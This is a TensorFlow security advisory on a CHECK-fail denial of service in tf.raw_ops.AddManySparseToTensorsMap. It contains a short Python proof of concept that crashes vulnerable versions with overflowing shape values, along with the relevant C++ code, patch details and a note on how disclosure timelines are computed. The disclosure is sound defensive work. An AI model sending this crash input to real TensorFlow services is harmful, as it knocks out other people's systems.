Summary
CHECK-fail in AddManySparseToTensorsMap
Details

Impact

An attacker can trigger a denial of service via a CHECK-fail in tf.raw_ops.AddManySparseToTensorsMap:

import tensorflow as tf
import numpy as np

sparse_indices = tf.constant(530, shape=[1, 1], dtype=tf.int64)
sparse_values = tf.ones([1], dtype=tf.int64)

shape = tf.Variable(tf.ones([55], dtype=tf.int64))
shape[:8].assign(np.array([855, 901, 429, 892, 892, 852, 93, 96], dtype=np.int64))

tf.raw_ops.AddManySparseToTensorsMap(sparse_indices=sparse_indices,
                    sparse_values=sparse_values,
                    sparse_shape=shape)

This is because the implementation takes the values specified in sparse_shape as dimensions for the output shape: 

    TensorShape tensor_input_shape(input_shape->vec<int64>());

The TensorShape constructor uses a CHECK operation which triggers when InitDims returns a non-OK status.

template <class Shape>
TensorShapeBase<Shape>::TensorShapeBase(gtl::ArraySlice<int64> dim_sizes) {
  set_tag(REP16);
  set_data_type(DT_INVALID);
  TF_CHECK_OK(InitDims(dim_sizes));
}

In our scenario, this occurs when adding a dimension from the argument results in overflow:

template <class Shape>
Status TensorShapeBase<Shape>::InitDims(gtl::ArraySlice<int64> dim_sizes) {
  ...
  Status status = Status::OK();
  for (int64 s : dim_sizes) {
    status.Update(AddDimWithStatus(internal::SubtleMustCopy(s)));
    if (!status.ok()) {
      return status;
    }
  }
}

template <class Shape>
Status TensorShapeBase<Shape>::AddDimWithStatus(int64 size) {
  ...
  int64 new_num_elements;
  if (kIsPartial && (num_elements() < 0 || size < 0)) {
    new_num_elements = -1;
  } else {
    new_num_elements = MultiplyWithoutOverflow(num_elements(), size);
    if (TF_PREDICT_FALSE(new_num_elements < 0)) {
        return errors::Internal("Encountered overflow when multiplying ",
                                num_elements(), " with ", size,
                                ", result: ", new_num_elements);
      }
  }
  ...
}

This is a legacy implementation of the constructor and operations should use BuildTensorShapeBase or AddDimWithStatus to prevent CHECK-failures in the presence of overflows.

Patches

We have patched the issue in GitHub commit 69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
